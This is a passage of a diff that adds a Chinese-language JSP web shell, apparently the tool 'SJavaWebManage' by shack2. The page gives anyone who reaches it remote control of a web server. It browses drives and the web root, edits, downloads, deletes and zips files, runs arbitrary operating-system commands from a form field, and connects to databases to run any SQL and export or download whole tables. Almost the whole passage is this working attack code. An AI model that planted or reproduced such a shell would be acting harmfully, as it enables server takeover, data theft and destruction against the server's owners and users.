+				if(f.exists()){
+					for(int i=0;i<rfs.length;i++){
+						File cf=rfs[i];
+						
+						%>
+					<a
+						href="javascript:post('<%=shellPath%>',{'m':'FileManage','dir':'<%=Util.formatPath(cf.getPath())%>'})">磁盘(<%=cf.getPath() %>)
+					</a>
+					<%
+				}
+				%>
+					<a
+						href="javascript:post('<%=shellPath%>',{'m':'FileManage','dir':'<%=webRootPath%>'})">|Web根目录|</a><a
+						href="javascript:newFile('1','<%=dir%>')">|新建文件夹|</a><a
+						href="javascript:newFile('0','<%=dir%>')">|新建文件|</a>
+				</div>
+				<!--文件目录列表-->
+				<div id="filesList">
+					<div>
+						<dd class="fileName">文件名称</dd>
+						<dd class="fileUpdateTime">上次修改时间</dd>
+						<dd class="filePermis">可读/可写</dd>
+						<dd class="fileSize">文件大小</dd>
+						<dd class="fileDo">&nbsp;&nbsp;&nbsp;操作</dd>
+					</div>
+					<%
+			//显示文件列表
+			
+				File[] fs=f.listFiles();
+				
+				for(int i=0;i<fs.length;i++){
+					File cf=fs[i];
+					if(cf.isFile()){
+						fCount++;
+					}
+					else{
+						dirCount++;
+					}
+					%>
+					<%
+					String currentPath=Util.formatPath(dir+cf.getName());
+					%>
+					<div>
+						<dd class="fileName">
+							<input type="checkbox" value="<%=currentPath%>" />
+							<%if(cf.isDirectory()){out.print("<a href=\"javascript:post('"+shellPath+"',{m:'FileManage',dir:'"+dir+cf.getName()+"'})\">"+cf.getName()+"</a>");}else{out.print(cf.getName());}%>
+						</dd>
+						<dd class="fileUpdateTime"><%=Util.formatDate(cf.lastModified())%></dd>
+						<dd class="filePermis"><%=cf.canRead() %>/<%=cf.canWrite()%></dd>
+						<dd class="fileSize"><%=FileUtil.getFileSize(cf.length())%></dd>
+						<dd class="fileDo">
+							<%if(cf.isFile()){%><a
+								href="javascript:post('<%=shellPath%>',{'m':'FileManage','do':'editFile','path':'<%=currentPath%>'})">编辑</a>
+							<%}%>
+							<%if(cf.isFile()){%><a
+								href="javascript:post('<%=shellPath%>',{'m':'FileManage','do':'downFile','path':'<%=currentPath%>'})">下载</a>
+							<%}%>
+							<!-- <a href="#">复制</a>
+					<a href="#">属性</a> -->
+							<a href="javascript:packFiles('<%=currentPath%>')">打包</a> <a
+								href="javascript:post('<%=shellPath%>',{m:'FileManage',do:'delete',path:'<%=currentPath%>'})">删除</a>
+						</dd>
+					</div>
+
+					<%
+				}
+			}
+			else{
+				Util.print(out, 1, dir+"不存在！");
+			}
+			%>
+				</div>
+				<!--文件目录列表end-->
+				<!--文件信息结束-->
+				<div id="filesInfo">
+					<a href="javascript:checkAll()">全选</a><a
+						href="javascript:revsAll()">反选</a><a
+						href="javascript:delSelectFiles('<%=dir %>')">删除选中项</a><a
+						href="javascript:packSelectFiles('<%=dir%>')">打包选中项</a> 总计<%=dirCount %>文件夹，<%=fCount %>个文件
+				</div>
+				<!--文件结束-->
+			</div>
+			<!--文件管理结束-->
+
+			<%
+				
+				
+			}
+		}
+		%>
+			<%
+		if("CMDS".equals(m)){
+			String cmd=Util.getRequestStringVal(request, "cmd");
+			String encode=Util.getRequestStringVal(request, "encode");
+			String result="";
+			if(!Util.isEmpty(cmd)&&!Util.isEmpty(encode)){
+				result=Util.execCmd(cmd,encode);
+			}
+			%>
+
+			<!--执行命令开始-->
+			<div id="CMDS">
+				<form action="<%=shellPath %>" method="post"
+					enctype="application/x-www-form-urlencoded">
+					输入命令：<input name="cmd" value="<%=cmd%>" style="width: 300px"
+						type="text" /><input name="m" value="CMDS" type="hidden" /> <select
+						name="encode">
+
+						<%
+					for(int i=0;i<Encodings.length;i++){
+						if(!Encodings[i].equals(encode)){
+							out.print("<option>"+Encodings[i]+"</option>");
+						}
+						else{
+							out.print("<option selected=\"selected\">"+Encodings[i]+"</option>");
+						}
+					}
+					%>
+					</select> <input value="执行" type="submit" />
+				</form>
+				<div id="execResult"><%=result%></div>
+			</div>
+			<!--执行命令结束-->
+			<%
+		}
+		%>
+			<%
+		if("DBManage".equals(m)){
+			String dom=Util.getRequestStringVal(request, "do");
+			String encode=Util.getRequestStringVal(request, "encode");
+
+			%>
+			<!--数据库管理开始-->
+			<div id="DBManage">
+				<h4>DataBase Manager &raquo;</h4>
+				<%
+		if("connect".equals(dom)){
+			String driver=Util.getRequestStringVal(request, "driver");
+			String url=Util.getRequestStringVal(request, "url");
+			String uid=Util.getRequestStringVal(request, "uid");
+			String pwd=Util.getRequestStringVal(request, "pwd");
+			String db=Util.getRequestStringVal(request, "mydb");
+			DBUtil dbo=null;
+			try{
+				dbo=(DBUtil)session.getAttribute(DBO);
+			}catch(Exception e){
+				Util.print(out, 2, "需要重新连接成功！");
+				if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) {
+					dbo = new DBUtil(driver,url,uid,pwd,true);
+					Util.print(out, 1, "创建新连接成功！");
+				}
+				else{
+					Util.print(out, 2, "连接信息没有填写完整！");
+				}
+			}
+			
+			try{
+				if (dbo == null || !((DBUtil)dbo).isValid()) {
+					if (dbo != null)
+					((DBUtil)dbo).close();
+					if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) {
+						dbo = new DBUtil(driver,url,uid,pwd,true);
+						Util.print(out, 1, "创建新连接成功！");
+					}
+					else{
+						Util.print(out, 2, "连接信息没有填写完整！");
+					}
+				}
+				else {
+					if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) {
+						if(!dbo.notchange(driver, url, uid, pwd)){
+							dbo.close();
+							dbo = new DBUtil(driver,url,uid,pwd,true);
+							Util.print(out, 1, "创建新连接成功！");
+						}
+						else{
+							Util.print(out, 1, "取出上一次的连接！");
+						}
+					}
+					else{
+						Util.print(out, 1, "取出上一次的连接！");
+					}
+				} 
+				session.setAttribute(DBO,dbo);
+			}catch(Exception e){
+				Util.print(out, 3, "发生了一点错误："+e.getClass().getName()+": "+e.getMessage());
+			}
+			
+		}
+		%>
+				<div>
+
+					<table width="100%" border="0" cellspacing="0">
+						<tr>
+							<td>
+								<form name="form_dbinfo" id="form1" action="<%=shellPath %>"
+									method="post">
+									<div>
+										<input name="m" value="DBManage" type="hidden" /> <input
+											name="do" value="connect" type="hidden" /> Driver: <input
+											name="driver" value="" id="driver" type="text" size="30" />
+										URL:<input name="url" value="" id="url" value="" type="text"
+											size="75" /> UID:<input name="uid" value="" id="uid"
+											value="" type="text" size="5" /> PWD:<input name="pwd"
+											value="" id="pwd" value="" type="text" size="8" /> DataBase:
+										<select onchange='changeurldriver()' id="mydb" name="mydb">
+											<option
+												value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>
+											<option
+												value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>
+											<option
+												value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql
+												Server</option>
+											<option
+												value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>
+											<option value=' ` '>Other</option>
+										</select> <input name="connect" id="connect" value="Connect"
+											type="submit" size="10" />
+									</div>
+							</td>
+						</tr>
+					</table>
+				</div>
+				<%
+			DBUtil dbo=null;
+			try{
+				dbo=(DBUtil)session.getAttribute(DBO);
+			}catch(Exception e){
+				session.removeAttribute(DBO);
+				Util.print(out, 2, "需要重新连接数据库！");
+			}
+
+			if(dbo!=null&&dbo.isValid()){
+				
+				%>
+				<div id="dbinfo">
+					<div>
+
+						<input name="m" value="DBManage" type="hidden" /> 数据库列表: <select
+							onchange="javascript:document.form_dbinfo.submit()"
+							id="currentDB" name="currentDB">
+							<%
+						String currentDB=Util.getRequestStringVal(request, "currentDB");
+						
+						DatabaseMetaData meta = dbo.getConn().getMetaData();
+						ResultSet dbs = meta.getCatalogs();
+						try {
+							while (dbs.next()){
+								String dbname=dbs.getString(1);
+								if(!Util.isEmpty(currentDB)&&currentDB.equals(dbname)){
+									out.println("<option selected=\"selected\" value=\""+dbname+"\">"+dbname+"</option>");
+								}
+								else{
+									out.println("<option value=\""+dbname+"\">"+dbname+"</option>");
+								}
+							}
+						}catch(Exception ex) {
+						}
+						dbs.close();
+						
+					%>
+
+						</select> 当前库所有表:<% 
+					out.println(meta.getCatalogSeparator());
+					%>
+						<select id="currentTable" name="currentTable">
+							<%
+						String currentTable=Util.getRequestStringVal(request, "currentTable");
+						ResultSet tables = meta.getTables(currentDB, null, null,null);
+						
+						try {
+							while (tables.next()){
+								String tableName=tables.getString("TABLE_NAME");
+								
+								if(!Util.isEmpty(currentDB)&&currentTable.equals(tableName)){
+									out.println("<option selected=\"selected\" value=\""+tableName+"\">"+tableName+"</option>");
+								}
+								else{
+									out.println("<option value=\""+tableName+"\">"+tableName+"</option>");
+								}
+							}
+						}catch(Exception ex) {
+						}
+						tables.close();
+					%>
+						</select> <input type="submit" name="loadTableStruct"
+							value="loadTableStruct"></input> <input type="submit"
+							name="loadTableData" value="loadTableData"></input> <input
+							type="submit" name="downTableData" value="downTableData"></input>
+						<input type="text" name="exportDataPath" value="c:/sql.txt"></input> <input
+							type="submit" name="exportTableData" value="exportTableData"></input>
+
+					</div>
+					<div>
+						<h4>自定义SQL执行：</h4>
+						<div>
+							<textarea rows="3" cols="130" name="runmysql"
+								<%=Util.getRequestStringVal(request, "runmysql")%>></textarea>
+							<input name="runsql" id="runsql" value="runsql"
+								style="vertical-align: top; height: 50px" type="submit"
+								size="30" />
+						</div>
+					</div>
+					</form>
+					<!--数据显示-->
+					<div id="dbdata">
+						<table width="100%">
+							<%
+								if(!Util.isEmpty(currentDB)&&!Util.isEmpty(currentTable)){
+											try {
+												String loadTableStruct=Util.getRequestStringVal(request, "loadTableStruct");
+												String loadTableData=Util.getRequestStringVal(request, "loadTableData");
+												String runsql=Util.getRequestStringVal(request, "runsql");
+												String runmysql=Util.getRequestStringVal(request, "runmysql");
+												if(!Util.isEmpty(loadTableStruct)){
+													ResultSet rs = meta.getColumns(currentDB, null,currentTable, null);
+													ResultSetMetaData rsmeta = rs.getMetaData();
+													int count = rsmeta.getColumnCount();
+													out.println("<tr>");
+													out.println("<td>COLUMN_NAME</td>");
+													out.println("<td>TYPE_NAME</td>");
+													out.println("<td>COLUMN_SIZE</td>");
+													out.println("</tr>");
+													while(rs.next()){
+														out.println("<tr>");
+														out.println("<td>"+rs.getString("COLUMN_NAME")+"</td>");
+														out.println("<td>"+rs.getString("TYPE_NAME")+"</td>");
+														out.println("<td>"+rs.getString("COLUMN_SIZE")+"</td>");
+														out.println("</tr>");
+													}
+													rs.close();
+												}
+												
+												if(!Util.isEmpty(loadTableData)){
+													runmysql="select * from "+currentTable;		
+													runsql="runsql";
+												}
+																		
+												if(!Util.isEmpty(runsql)){
+													dbo.conn.setCatalog(currentDB);
+													Object obj=dbo.execute(runmysql);
+													if (obj instanceof ResultSet) {
+														
+														ResultSet rs = (ResultSet)obj;
+														ResultSetMetaData sqlmeta = rs.getMetaData();
+														if(!Util.isEmpty(currentDB)){
+															
+														}
+														int colCount = sqlmeta.getColumnCount();
+														out.println("</tr>");
+														for (int i=1;i<=colCount;i++) {
+															out.println("<td>"+sqlmeta.getColumnName(i)+"("+sqlmeta.getColumnTypeName(i)+")</td>");
+														}
+														out.println("</tr>");
+														
+														while(rs.next()) {
+															out.println("<tr>");
+															for (int i = 1;i<=colCount;i++) {
+																out.println("<td>"+rs.getString(i)+"</td>");
+															}
+															out.println("</tr>");
+														}
+														rs.close();
+													}
+													
+												}
+												String exportTableData=Util.getRequestStringVal(request, "exportTableData");
+												String downTableData=Util.getRequestStringVal(request, "downTableData");
+												String exportDataPath=Util.getRequestStringVal(request, "exportDataPath");
+												if (!Util.isEmpty(exportTableData)|| !Util.isEmpty(downTableData)) {
+													dbo.conn.setCatalog(currentDB);
+													if (Util.isEmpty(runmysql)) {
+														runmysql = "select * from " + currentTable;
+													}
+
+													Object o = dbo.execute(runmysql);
+													byte[] rowSep = "\r\n".getBytes();
+													if (o instanceof ResultSet) {
+														ResultSet rs = (ResultSet) o;
+														ResultSetMetaData dmeta = rs.getMetaData();
+														int count = dmeta.getColumnCount();
+														
+														BufferedOutputStream output = null;
+														DataOutputStream dout=null;
+														FileOutputStream fs=null;
+														if (!Util.isEmpty(exportDataPath)&& !Util.isEmpty(exportTableData)) {
+															//exportfile
+															fs=new FileOutputStream(new File(exportDataPath));
+															output = new BufferedOutputStream(fs);
+															dout=new DataOutputStream(output);
+															
+														} else {
+															out.clear();
+															out=pageContext.pushBody();
+															//download.
+															response.setHeader(
+																	"Content-Disposition",
+																	"attachment;filename=DataExport.txt");
+															output = new BufferedOutputStream(
+																	response.getOutputStream());
+															dout=new DataOutputStream(output);
+														}
+														
+														for (int i = 1; i <= count; i++) {
+															String colName = dmeta.getColumnName(i)+ "\t";
+															byte[] b = null;
+															if (Util.isEmpty(encode)) {
+																b = colName.getBytes();
+															} else {
+																b = colName.getBytes(encode);
+															}
+															dout.write(b, 0, b.length);
+														}
+														
+														dout.write(rowSep, 0, rowSep.length);
+														while (rs.next()) {
+															for (int i = 1; i <= count; i++) {
+																String v = null;
+																try {
+																	v = rs.getString(i);
+																	
+																} catch (Exception ex) {
+																	v = "<Error>";
+																}
+																v += "\t";
+																
+																byte[] b = null;
+																if (Util.isEmpty(encode)) {
+																	b = v.getBytes();
+																	
+																} else {
+																	b = v.getBytes(encode);
+																}
+																dout.write(b, 0, b.length);
+															}
+															dout.write(rowSep, 0, rowSep.length);
+														}
+														rs.close();
+														if(dout!=null){
+															dout.close();
+														}
+														if(output!=null){
+															output.close();
+														}
+														if(fs!=null){
+															fs.close();
+														}
+													}
+												}
+
+											} catch (Exception e) {
+												Util.print(out, 3, e.getMessage());
+											}
+
+										}
+							%>
+						</table>
+					</div>
+					<!--数据显示-->
+				</div>
+				<%
+			}
+			%>
+
+			</div>
+			<!--数据库管理结束-->
+			<%
+		}
+		%>
+		</div>
+		<!--内容结束-->
+		<div class="bottom">
+			Copyright (c) 2014-2016 <a href="http://www.shack2.org">http://www.shack2.org</a>
+			All Rights Reserved| coded by shack2 | Powered By SJavaWebManage|
+			当前版本:<%=VERSION%></div>
+	</div>
+	<script type="text/javascript">
+var menue=document.getElementById("menue");
+
+var menues=menue.getElementsByTagName("a");
+
+for(var i=0;i<menues.length;i++)
+{
+	//menues[i].style.backgroundColor="#"+Math.floor(Math.random()*499999+500000);
+	menues[i].style.backgroundColor="#333";
+	menues[i].onmouseover=function(){
+		this.style.backgroundColor="#fefefe";
+		this.style.color="#111";
+	};
+	menues[i].onmouseout=function(){
+		this.style.backgroundColor="#333";
+		this.style.color="#fff";
+	}; 
+}
+//filesManage鼠标in out
+var fdiv=document.getElementById("filesList");
+if(fdiv!="undefined"&&fdiv!=null){
+	var fsdiv=fdiv.getElementsByTagName("div");
+
+	for(var i=0;i<fsdiv.length;i++){
+		fsdiv[i].onmouseover=function(){
+			this.style.backgroundColor="#F5F2E8";
+		};
+		fsdiv[i].onmouseout=function(){
+			this.style.backgroundColor="#fcfcfc";
+		}; 
+	}
+}
+//db鼠标in out
+var datatable=document.getElementById("dbdata");
+
+if(datatable!="undefined"&&datatable!=null){
+	var datatd=datatable.getElementsByTagName("tr");
+	
+	for(var i=0;i<datatd.length;i++){
+		datatd[i].onmouseover=function(){
+			this.style.backgroundColor="#f5f5f5";
+		};
+		datatd[i].onmouseout=function(){
+			this.style.backgroundColor="#fff";
+		}; 
+	}
+}
+
+
+var ms=document.getElementById("menue").getElementsByTagName("a");
+var mdivs=document.getElementById("content").getElementsByTagName("div");
+
+for(var i=0;i<ms.length;i++){
+	if(ms[i].name!=""){
+		ms[i].onclick=function(){
+			for(var j=0;j<ms.length;j++){		
+				if(ms[j].name!=""){
+					document.getElementById(ms[j].name).style.display="none";
+				}
+			}
+			document.getElementById(this.name).style.display="block";
+		};
+	}
+}
+function goTargetPath(type){
+	var dir=document.getElementById("currentDir").value;
+	dir=dir.replace("//","/");
+	if(type==1){
+		var l=dir.lastIndexOf("/");
+		dir=dir.substr(0,l);
+		l=dir.lastIndexOf("/");
+		dir=dir.substr(0,l);
+	}
+	post('<%=shellPath%>',{'m':'FileManage','dir':dir});
+}
+function changeEncode(code,path){
+	var encode=code.value;
+	post('<%=shellPath%>',{'m':'FileManage','do':'editFile','path':path,'encode':encode});
+}
+function newFile(isDir,currentDir){
+	var name = prompt('请输入目录名或文件名！','');
+	if (name == null || name.trim().length == 0){
+		alert("输入错误！");
+		return;
+	}
+	post('<%=shellPath%>',{'m':'FileManage','do':'newFile','path':currentDir,'isDir':isDir,'fileName':name});
+}
+function packFiles(path){
+	var zipName = prompt('请输入压缩文件名！','');
+	if (zipName == null || zipName.trim().length == 0){
+		alert("输入错误！");
+		return;
+	}
+	post('<%=shellPath%>', {
+				'm' : 'FileManage',
+				'do' : 'packFiles',
+				'path' : path,
+				'zipName' : zipName
+			});
+		}
+
+		function getSelect() {
+			var inputs = document.getElementById("filesList")
+					.getElementsByTagName("input");
+			var s = "";
+			for (var i = 0; i < inputs.length; i++) {
+				if (inputs[i].checked) {
+					s = s + inputs[i].value + ",";
+				}
+			}
+			if (s.length > 1) {
+				return s.substr(0, s.length - 1);
+			}
+			return "";
+		}
+		//全选
+		function checkAll() {
+			var inputs = document.getElementById("filesList")
+					.getElementsByTagName("input");
+			for (var i = 0; i < inputs.length; i++) {
+				inputs[i].checked = true;
+			}
+		}
+		//删除选中
+		function delSelectFiles(path) {
+
+			var delfs = getSelect();
+			if (delfs == "") {
+				alert("没有选择文件！");
+				return;
+			}
+			post('<%=shellPath%>',{'m':'FileManage','do':'delete','path':path,'files':delfs});
+}
+ 
+function packSelectFiles(path)
+{
+  var pfs=getSelect();
+  if(pfs==""){
+	  alert("没有选择文件！");
+	  return;
+  }
+  var zipName = prompt('请输入压缩文件名！','');
+  if (zipName == null || zipName.trim().length == 0){
+	  alert("输入错误！");
+	  return;
+	}
+	post('<%=shellPath%>',{'m':'FileManage','do':'packFiles','path':path,'files':pfs,'zipName':zipName});
+}
+ 
+//反选
+function revsAll()
+ {
+   var inputs=document.getElementById("filesList").getElementsByTagName("input");
+   for(var i=0;i<inputs.length;i++){
+	   if(inputs[i].checked){
+		   inputs[i].checked=false;  
+	   }
+	   else{
+		   inputs[i].checked=true;
+	   }
+    	
+   }
+}
+function changeurldriver(){
+	var mydb=document.getElementById("mydb").value;
+	var strs=mydb.split("`");
+	var driver=document.getElementById("driver");
+	driver.value=strs[0];
+	var url=document.getElementById("url");
+	url.value=strs[1];
+}
+</script>
+</body>
+</html>